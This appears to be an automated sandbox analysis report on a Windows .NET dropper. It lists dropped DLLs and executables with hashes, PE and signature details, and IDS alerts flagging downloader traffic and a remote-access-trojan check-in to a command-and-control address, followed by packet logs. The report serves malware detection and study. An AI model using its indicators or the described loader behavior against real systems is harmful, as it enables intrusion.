MD5:	D7B50924AB14320B946526EB3DB6A08F
SHA1:	C114B1C3106C533E40470BE319094810670FE3BF
SHA-256:	42719113D64459DBF01EADA16DE0723BD0EEF888E25A76C69306F122B2C66BE1
SHA-512:	C39E877CE350977826793E6298FD93013846EE934CBCE639F16DCFBC91188AFF89C7F6C87C90A2A0B2A050627387C80C6354480F8E5655234EBBD7A8FD106449
Malicious:	false
Preview:	............\|T....f...%...P;j... ...H....!HD4...&.q...A..8Fc..]\..Z[[j}...D%(...T.....wl...~.9..%...{.....y.{....Y...%="C..I..b.Px....".[.e...<{.fG..T7.....y....P.........H....]6......8b.....[.....x.T..\|.=t.....+..\|.uy....M..\|S....?I..K{..>%....&]G..:.....5C>/hih.p..VU.D......z...a........zK/..\i..!..S.A.y.E7d.L&2D..td^R.....b.B....u.yC.^....o...[=.u...!..#..!J.Rf.l.i..^...'.}.a..6..i.L....nb..>\O..<..8.I.....5..L...n.t}!.^...(.Hi.C........`...<....o...k...j.amoo.......l....vU.dy;./.F+...}...hYA.7.g..g>t>Q.m.......G......G%:....}....\......?..ZWp3.l/+p.irm..##..=tI...l.&....d..1....J...^^C..{...z...........l.d......."Y."I7.I.p.r.}m.....#.%XO..#D...{#.....I....8....... .%.d\|/U.....u.......Bo.OE...B.s...P..;y......m>z.......~eA],.C.j.E`.]=Fm..(.vW.x...eFk.Nvx.-...}.X."...C(.3u.....(+.G.9....0...4.....&C.Y.....+en..z....upn..hv...Rf.G...I..F..V%.V.q....A.-~A...+....<1......j/W.RN.o............[...Lr...n...g..{......\|}N..8.....

C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\libcef.raw

Download File

Process:	C:\Users\user\Desktop\VJQyKuHEUe.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	244397152
Entropy (8bit):	0.005451982949466598
Encrypted:	false
SSDEEP:	1536:8jPqt44MQyK3g/QsenSOOWdlzLfNVMaR7HxDGc9s7zUx:8jPk44M3K3gLKnLfNVMaRJGcu
MD5:	EC97E838E8FDA95207C2E2D8BCCCA820
SHA1:	B4510AA0F4A24125E2EC9C95FD3C144EFD10B8D0
SHA-256:	0627D4A54BD14AEDA0C116723CAB0FBAB59A06096CB250EEA320EEC984A36592
SHA-512:	0301EA4FAFB2060073C3008D25B682437FFF29250A46AA85687A580851787D5924AF824BF0A066E47B9F5370006EE63CAAB2D4F9CB68FAB7E11CC34EB28DFF57
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 24%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........lo..............u......x......x......x......u......u......u.............x......u.......x.......x.......x.......x......Rich....................PE..d....Tg.........." .....\|...h......\{.......................................0............`.............................................."..p..........................`R... ..T.......8...............................8............................................text...z{.......\|.................. ..`.rdata...Q.......R..................@..@.data...H...........................@....pdata.............................@..@.rsrc..............................@..@.reloc..T.... ......................@..B........................................................................................................................................................................................................................

C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\vcruntime140_1.dll

Download File

Process:	C:\Users\user\Desktop\VJQyKuHEUe.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	49744
Entropy (8bit):	6.675573056871668
Encrypted:	false
SSDEEP:
MD5:	EB49C1D33B41EB49DFED58AAFA9B9A8F
SHA1:	61786EB9F3F996D85A5F5EEA4C555093DD0DAAB6
SHA-256:	6D3A6CDE6FC4D3C79AABF785C04D2736A3E2FD9B0366C9B741F054A13ECD939E
SHA-512:	D15905A3D7203B00181609F47CE6E4B9591A629F2BF26FF33BF964F320371E06D535912FDA13987610B76A85C65C659ADAC62F6B3176DBCA91A01374178CD5C6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9@.W}!..}!..}!...S...!..{....!..tYJ.v!..}!..N!..{...x!..{...z!..{...f!..{...\|!..{.&.\|!..{...\|!..Rich}!..................PE..d.....=..........." ...&.<...8.......B....................................................`A........................................Pm.......m..x....................r..PP......D....c..p...........................`b..@............P..`............................text...p:.......<.................. ..`.rdata...#...P...$...@..............@..@.data................d..............@....pdata...............f..............@..@.rsrc................l..............@..@.reloc..D............p..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\view.png

Download File

Process:	C:\Users\user\Desktop\VJQyKuHEUe.exe
File Type:	PNG image data, 605 x 390, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	376421
Entropy (8bit):	7.989777916441178
Encrypted:	false
SSDEEP:
MD5:	1E17E3F8B9917CE02CDB53F289DB96C9
SHA1:	0B40A61EF4B5D1DBFD437896D1881A0EE5A457D9
SHA-256:	D98A28F66F6B168164DB2C62AC1AD62F0316D52BBBEB7F8787300E429319E6B1
SHA-512:	2DD8AC7914289056413927208B7451F5212DB598D8F6F91190CB7844BE1A937C239DAA9F8E9B91869D724527F20CAC04BD414AD28C0155F1B9D6200B91EDC881
Malicious:	false
Preview:	.PNG........IHDR...]................pHYs...%...%.IR$.....tEXtSoftware.Snipaste]..... .IDATx..W.$;.%..={...b.2.p.....+.euO1_.07..Ah........#D "b&"&.G"".c.1@...>33.~%".j&....{eK../.ML..9...t..5.3.Hd... ..[.....i..T..]... &f.....L..cP.OG...%.......>....D..g"..W.gV.. ..""..1+.^.....{T.......J...>.!.....yq.N../..f.6../...4.EL{0.@7L"F.(ha.y.A..1V....B.L.V..g.D..vs..<t ..'..~`.q!..p!$.zD$d.IB...Y.~..B......>...w......9...`..<..EA.....0./....`....BoI..^p!.h....h.<.....Ls%..g.\.C.i~,.\|Uh.VTq.1F.7..{-.6..-.....I....Z...%)C.\l\.yoX.KT.....?..k.......9....r..>l.......Z5?..+.\.P1.....!...L6....'.( ....33.$$.......h..1Q.r.e4...IhFI.Z........"d .^.0q.KQ..j..W........#....W..D..0K..h...K.........#MqW3]...\q{..*....R.m...H..."..a6O...pNs._N.......I1.@Nc.}.W0}.... b83.2.b...c.......jod5<F.o@5..Wc.4.Ekr.e.?dXb. .H=..PFU,..(..4....D.uk!lp.P.....(E}.r.......<.9.?.}.....i(.....t.&x.`_e..}./.i.SZ.....;..md'X._...Q..........j..:.G...../6...H..DJ......k..`.a.9..

C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe

Download File

Process:	C:\Users\user\Desktop\VJQyKuHEUe.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2659840
Entropy (8bit):	6.694083259050332
Encrypted:	false
SSDEEP:
MD5:	44AD77338A945FE1451861B59267A68D
SHA1:	F555C3A9AC9BBD5859D1958A844FCDD5E5106339
SHA-256:	B0D418E149890608CF0BB3DCC7EA23F5AD645F5F598D62143FE3136692FA0962
SHA-512:	CD02A0354E6B64BC21EC68DF966DA96B09BDC745A0F39B5CE7E3ED6051A2E909BD87E631830E8348F15539B4412A86AF12DAB928B0F19F2C44615E04344F9D77
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.........1..._..._..._...Z..._.e....._...\..._...Z.._...[..._...^..._...[..._.).Z..._......_.l.Z.._....._...^.._.i.Z.._.i._..._.i..._.i.]..._.Rich.._.........................PE..d.....Y..........".................h<.........@..............................(...........`...\|.......................................%.X...X.%.T.....(......P'...............(..A.. .!.T.....................!.(.....!.................x............................text...<........................... ..`.rdata..6m.......n..................@..@.data...H6....&..,....&.............@....pdata.......P'.. ....'.............@..@.gfids..@....p(......N(.............@..@.tls..........(......P(.............@....rsrc.........(......R(.............@..@.reloc...A....(..B...T(.............@..B................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.42158171301493
Encrypted:	false
SSDEEP:
MD5:	56BEEB255FF732124CB1D77FF702E33F
SHA1:	B693A55871358056EDBC1497F2D909046E5DEF14
SHA-256:	7932E777419E4BACE30549B9EFCCCF3B715C7C2764908F6907F3B627B5DDD2A5
SHA-512:	8471F731C7FAAC2CA1B1EC34935C1616DE79DFEAE1B8C95DF920C49C61CCA8CD01A3A2CF71BC8496AE4E34B432FCBD5D92B30B11C00D2F0137052077D4B39470
Malicious:	false
Preview:	regf?...?....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm../?EQ..............................................................................................................................................................................................................................................................................................................................................iu8.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	6.1684566046977185
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	VJQyKuHEUe.exe
File size:	185'744 bytes
MD5:	703274fa7a3febb125ce7ea741a2d546
SHA1:	557e4513056574074cb1a4070842561519136ec9
SHA256:	7b2d2c13f652b5172c9930aa164163caeda8820935cccd9983d924aa90d294d0
SHA512:	bf983255c07b375545f5cbff83ebf6f44dd5a9fdcc45b31305fbdda4e2e5da10b207502122464eaeb5f0d0884cf5df36dcd548a169beedf2caa9a9d36cf752fe
SSDEEP:	3072:+743otv7KWtY9eVd0YprmmojWDzGIVa8OSVsg5ujtp32y4mUq9tDdUW5:+E4B+WOU70YNvoiDKmsZtN2yJUwdUW5
TLSH:	95047B27F2A44077E16A86359813CA254771BC1087609BEF13D8B61B9F337C16E39B7A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....w..........."...0..F...r.......e... ........@.. ....................... ......9.....`................................

File Icon


Icon Hash:	2d2e3797b32b2b99

Static PE Info

General

Entrypoint:	0x42651e
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xD177A4E7 [Mon May 12 12:39:03 2081 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert SHA2 Assured ID Code Signing CA, OU=www.digicert.com, O=DigiCert Inc, C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	24/05/2021 20:00:00 28/05/2024 19:59:59
Subject Chain	CN=Chengdu Qilu Technology Co. Ltd., O=Chengdu Qilu Technology Co. Ltd., L=\u6210\u90fd\u5e02, S=\u56db\u5ddd\u7701, C=CN
Version:	3
Thumbprint MD5:	187A069F86D379FE84D71BA37D3B2A30
Thumbprint SHA-1:	4D7326B46527C9CBEEC83D4368EAF372300FFDCC
Thumbprint SHA-256:	A2F571D518EAEF0A67CCC12AD3AAC3F240AA8B39A679E5A2F352700412306CAA
Serial:	05DE6C1E6DCB34DF9869AEDC157F0725

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x264ca	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x28000	0x6e99	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x2ba00	0x1b90	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x30000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x26420	0x38	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x24524	0x24600	c3782d8cf06bc31d8e9a1926fee3dbd0	False	0.5141215635738832	data	6.220523704368287	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x28000	0x6e99	0x7000	615dc3cc202532bceedd01393dff50ab	False	0.177978515625	data	4.542306852421802	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x30000	0xc	0x200	58f52b132646d788c802f87fabf5007c	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x28238	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors			0.21321961620469082
RT_ICON	0x290e0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors			0.3953068592057762
RT_ICON	0x29988	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors			0.4479768786127168
RT_ICON	0x29ef0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600			0.09948132780082987
RT_ICON	0x2c498	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224			0.12593808630393996
RT_ICON	0x2d540	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088			0.19680851063829788
RT_GROUP_ICON	0x2d9a8	0x5a	data			0.7
RT_VERSION	0x2da04	0x24c	data	Chinese	China	0.5153061224489796
RT_MANIFEST	0x2dc50	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347
RT_MANIFEST	0x2de3c	0x105d	exported SGML document, ASCII text	English	United States	0.2174743375507281

Imports

DLL	Import
mscoree.dll	_CorExeMain

Possible Origin

Language of compilation system	Country where language is spoken	Map
Chinese	China
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-18T13:05:50.566344+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49714	3.5.237.31	443	TCP
2024-12-18T13:05:54.492005+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49715	3.5.238.183	443	TCP
2024-12-18T13:05:58.604327+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49722	3.5.238.183	443	TCP
2024-12-18T13:06:01.843523+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49731	3.5.239.146	443	TCP
2024-12-18T13:06:04.720219+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49743	3.5.239.146	443	TCP
2024-12-18T13:06:09.012883+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49749	52.95.161.33	443	TCP
2024-12-18T13:06:30.366027+0100	2052875	ET MALWARE Anonymous RAT CnC Checkin	1	192.168.2.5	49794	27.50.63.8	4433	TCP
2024-12-18T13:07:44.715735+0100	2052875	ET MALWARE Anonymous RAT CnC Checkin	1	192.168.2.5	49794	27.50.63.8	4433	TCP
2024-12-18T13:08:49.924265+0100	2052875	ET MALWARE Anonymous RAT CnC Checkin	1	192.168.2.5	50012	27.50.63.8	4433	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 13:05:40.470190048 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:40.470235109 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:40.470320940 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:40.632169008 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:40.632205009 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:42.508045912 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:42.508171082 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:42.511037111 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:42.511045933 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:42.511317968 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:42.565515995 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:42.571052074 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:42.615339994 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.314440966 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.362492085 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:43.366080046 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.366096973 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.366139889 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.366153955 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.366170883 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.366183043 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:43.366204977 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.366235971 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:43.366267920 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:43.560538054 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.560555935 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.560592890 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.560622931 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.560642958 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:43.560676098 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.560686111 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:43.560693979 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:43.610166073 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.610191107 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.610419035 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:43.610419035 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:43.610439062 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.617119074 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.617208004 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:43.617222071 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.659518957 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:43.721534967 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.721549034 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.721600056 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.721636057 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.721642971 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.721894026 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:43.721921921 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.722065926 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:43.788794994 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.788810968 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.788839102 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.788892031 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:43.788922071 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.788939953 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:43.788974047 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:43.791738987 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.811336994 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.811368942 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.811467886 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:43.811486959 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.811526060 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:43.862497091 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:43.862529993 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.899739981 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.899813890 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.899822950 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.899904966 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:43.899909973 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.899945021 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.899959087 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:43.899959087 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:43.920715094 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.920758009 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.920764923 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.920813084 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:43.920838118 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.920852900 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.920860052 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:43.920900106 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:43.920909882 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.920969009 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:43.942065001 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.942091942 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.942198038 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:43.942224026 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.942352057 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:43.944983006 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.984819889 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.984827042 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:43.984973907 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:43.985003948 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:44.005016088 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:44.005028009 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:44.005067110 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:44.005078077 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:44.005155087 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:44.005203009 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:44.005223989 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:44.040209055 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:44.040255070 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:44.040261984 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:44.040323019 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:44.040369987 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:44.040376902 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:44.040393114 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:44.040442944 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:44.055200100 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:44.055210114 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:44.055239916 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:44.055330992 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:44.055331945 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:44.055366993 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:44.055383921 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:44.055383921 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:44.091948986 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:44.091969967 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:44.092135906 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:44.092185974 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:44.105691910 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:44.105706930 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:44.105743885 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:44.105819941 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:44.105843067 CET	443	49710	3.5.237.31	192.168.2.5
